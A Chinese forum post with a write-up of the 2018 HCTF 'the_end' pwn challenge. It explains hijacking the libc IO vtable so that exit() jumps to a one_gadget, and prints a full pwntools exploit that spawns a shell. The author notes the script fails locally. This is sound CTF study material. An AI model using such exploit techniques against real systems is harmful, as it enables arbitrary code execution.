2018 HCTF the_end (pwn io基础题)

一道基础的io pwn
首先我们可以得到libc的基址,其次程序可以让我们往任意地址写入5字节,有一种思路就是程序调用exit 后会遍历 _IO_list_all,调用 _IO_2_1_stdout_ 下的vatable中_setbuf 函数.程序调用 exit 后,会遍历 _IO_list_all ,调用 _IO_2_1_stdout_ 下的 vatable 中 _setbuf 函数.(by ctf-wiki)
exp如下:

from pwn import *
context.log_level="debug"
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
p = process('the_end')
sleep_ad = p.recvuntil(', good luck',drop=True).split(' ')[-1]
libc_base = long(sleep_ad,16) - libc.symbols['sleep']
one_gadget = libc_base + 0xf02a4   
vtables =     libc_base + 0x3C56F8
fake_vtable = libc_base + 0x3c5588
target_addr = libc_base + 0x3c55e0
print 'libc_base: ',hex(libc_base)
print 'one_gadget:',hex(one_gadget)
print 'exit_addr:',hex(libc_base + libc.symbols['exit'])
# gdb.attach(p)
for i in range(2):
    p.send(p64(vtables+i))
    p.send(p64(fake_vtable))
pause()
for i in range(3):
    p.send(p64(target_addr+i))
    p.send(p64(one_gadget))
p.sendline("exec /bin/sh 1>&0")
p.interactive()


这里,我们修改了位于libc的数据段中的vtable地址,从而指向了一个可写区域,并且在该地址+0x58中存储了一个跟one_gadget地址相差不到3字节的地址.因此,在调用exit的时候会跳到我们的one_gadget.

本地虽然跑不通,但是根据调试可以看到程序已经执行到了one_gadget的位置.

至于为什么不直接修改原vtable的_setbuf指针?是因为在libc 2.23中,没有写权限.

有学pwn的师傅可以一起讨论一下别的题目🐎?

或者有别的思路的师傅可以回复一下哈!

the_end.zip

2019-6-14 15:30 上传

点击文件名下载附件

下载积分: 吾爱币 -1 CB

751.27 KB, 下载次数: 0, 下载积分: 吾爱币 -1 CB

THE END
喜欢就支持以下吧
点赞0
分享
评论 抢沙发
  • 管埋员

    昵称

  • 取消

    请填写用户信息: